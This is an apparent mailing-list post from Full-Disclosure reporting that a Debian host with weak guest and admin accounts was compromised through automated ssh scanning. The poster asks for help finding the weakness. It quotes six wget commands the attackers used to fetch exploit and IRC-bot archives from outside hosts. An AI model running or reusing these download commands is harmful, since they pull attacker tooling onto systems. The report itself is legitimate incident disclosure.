In spite of many reports to the contrary, Linux is _not_ secure by default. Did you harden it? There is a lot of documentation on the web as to how to go about it.

[Full-disclosure] Automated ssh scanning Hello list! A few weeks ago there was a discussion about automated ssh scanning with user/password combinations like guest/guest or admin/admin. I set up a debian woody fully patched with both accounts activated, and got rooted some days later... The attackers installed some software and irc-bots and tried to use this host for testing other computers, thats not the point. I would like to know where's the weak point in the system? As the system was updates on a daily base! The only known weakness were these two accounts! Here is a list of software the attacker used, maybe someone could bring a bit light into this tunnel! wget sky.prohosting.com/awxro/linux/xpl.tar.gz wget www.bo2k-rulez.net/a wget www.bo2k-rulez.net/psybnc.tgz wget www.corbeanu.as.ro/t.gz wget roarmy.com/god.tgz wget www.generatiapro.go.ro/fast.tgz Richard _______________________________________________ Full-Disclosure - We believe in it.
